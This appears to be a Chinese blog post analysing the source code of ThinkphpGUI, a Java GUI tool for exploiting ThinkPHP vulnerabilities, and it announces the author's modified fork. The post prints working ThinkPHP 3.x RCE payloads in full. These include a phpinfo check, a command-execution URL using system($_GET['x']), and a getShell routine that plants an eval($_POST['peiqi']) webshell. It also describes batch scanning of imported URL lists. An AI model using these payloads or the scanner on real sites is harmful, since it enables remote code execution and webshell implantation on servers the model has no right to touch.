改造工具链接
https://github.com/Lotus6/ThinkphpGUI
代码结构
pom.xml引入了http请求库kevinsawicki
我们从执行流程处开始研究下代码怎么写的:
public static void main(String[] args) throws Exception {
// 创建tp_view对象,用于显示ThinkPHP视图
tp_view f = new tp_view();
// 设置窗口居中显示
f.setLocationRelativeTo(null);
// 设置当关闭窗口时默认的操作为退出程序
f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
// 将窗口设置为可见,即显示窗口
f.setVisible(true);
}
可以看到主程序下面三行都为窗口显示问题,我们跟踪下tp_view对象:
看到tp_view()调用initComponents()方法初始化tp_view对象的组件,接着看下initComponents:
一些常规组件的定义,用的是java.awt
库。
检测按钮调用check_url方法:
查看check_url方法:
首先调用checkTheURL方法,主要检测url是不是以http开头:
如果符合会调用check_url方法:
url为url,version为combobox组件选中的文本
当文本等于ALL时,定义一个列表,然后for循环遍历
BasePayload bp = Tools.getPayload(v);
获取关键字对应漏洞信息。
exploit包里主要是实现了utils包里的BasePayload
接口
basepayload定义了三个接口:
检测接口
Result checkVUL(String url) throws Exception;
命令执行接口
Result exeVUL(String url,String cmd) throws Exception;
获取shell接口
Result getShell(String url) throws Exception;
其中Result为定义的java实例: 主要有三个属性:
布尔型的res,含义是检测结果;
字符串类型payload,含义是返回漏洞相关payload;
字符串类型vuln,含义是返回漏洞名称;
下面来看下其中漏洞接口的实现:
以tp3为例:
CheckVUl:
@Override
public Result checkVUL(String url) throws Exception {
// 检查响应中是否包含"PHP Version"字符串
String CheckStr = "PHP Version";
// 创建Module对象,用于获取模块信息
Module m = new Module();
// 获取URL的模块名称
String module = m.getModule(url);
// 构建payload,用于发送请求检查漏洞
String payload = url + "/?s=" + module + "/\\think\\module/action/param1/${@phpinfo()}";
try {
// 发起HTTP请求,获取响应内容
HttpRequest req = HttpRequest.get(url);
// 检查响应内容中是否包含指定的字符串,如果包含则表示存在漏洞
if (req.body().contains(CheckStr)) {
// 返回包含漏洞信息的Result对象
return new Result(true, "ThinkPHP 3.x RCE", payload);
}
} catch (Exception e) {
// 发生异常时打印异常信息
e.printStackTrace();
}
// 没有发现漏洞,返回包含未找到漏洞信息的Result对象
return new Result(false, "ThinkPHP 3.x RCE", "");
}
Module对象实现: 存在一个方法getModule,主要功能是遍历/?s=/ 后面路径,如果其中某一个路径返回状态码为200则返回mod的值,如果遍历后这三个值的code都不等于200,返回index。
接着看exVUL接口的实现:
@Override
public Result exeVUL(String url, String cmd) throws Exception {
// 创建Module对象,用于获取模块信息
Module m = new Module();
// 获取URL的模块名称
String module = m.getModule(url);
// 构建payload_url,用于执行远程命令
String payload_url = url + "/?s=" + module + "/\\think\\module/action/param1/{${system($_GET['x'])}}?x=" + cmd;
try {
// 发起HTTP请求,获取远程命令执行结果
String res = HttpRequest.get(payload_url).body();
// 返回包含成功执行结果的Result对象
return new Result(true, null, res);
} catch (Exception e) {
// 发生异常时打印异常信息
e.printStackTrace();
}
// 返回包含失败信息的Result对象
return new Result(false, null, null);
}
最后看下getShell接口实现:
@Override
public Result getShell(String url) throws Exception {
try {
// 创建Module对象,用于获取模块信息
Module m = new Module();
// 获取URL的模块名称
String module = m.getModule(url);
// 构建shell_url,用于获取Webshell
String shell_url = url + "/?s=" + module + "/\\think\\module/action/param1/{${eval($_POST['peiqi'])}}";
// 发起HTTP请求,获取Webshell的HTTP响应状态码
int code = HttpRequest.get(shell_url).code();
// 如果HTTP响应状态码为200,表示成功获取Webshell
if (code == 200) {
// 返回包含成功获取Webshell URL的Result对象
return new Result(true, null, shell_url);
}
} catch (Exception e) {
// 发生异常时打印异常信息
e.printStackTrace();
}
// 返回包含失败信息的Result对象
return new Result(false, null, null);
}
然后判断是否存在结果,如果存在在指定组件输出信息,不存在输出信息;
然后是不选择all的时候,和上面一样输出下。
以上就是检测按钮绑定的方法。
回过头接着看下initComponents
方法后面的一些按钮绑定的动作:
clear按钮清除下方两个文本框。
执行按钮就是执行exe_vul方法
当versin等于all时,弹窗错误信息。
老样子执行payload,具体exeVUL方法上面已经分析过。
看一下导入按钮: 调用batch_import_url方法:
主要内容为选择文件,并将文件路径输出到文本框中 其中调用了Tools红的read_file方法: 其方法主要内容为读取文件,将文件内容按行分割加入到列表中,返回一个列表。
然后输出导入多少条url。
然后看下批量检测按钮绑定事件:
调用batch_check_url
方法:
主要内容为for循环上面获得的list,来循环检测,内容和单个检测相似,多了嵌套。
然后看下getshell按钮 调用getshell方法: 当version等于all时,弹框选择对应版本。
然后就是调用getshell结果,输出。
完事,基本分析完成。
整体代码存在冗余,结构简单,功能明确。
其他问题
使用https://github.com/kevinsawicki/http-request
库似乎无法做socks代理。
改造
对代码和UI进行了改造,改造链接如下:
https://github.com/nex121/ThinkphpGUI
环境提交bug或poc!😃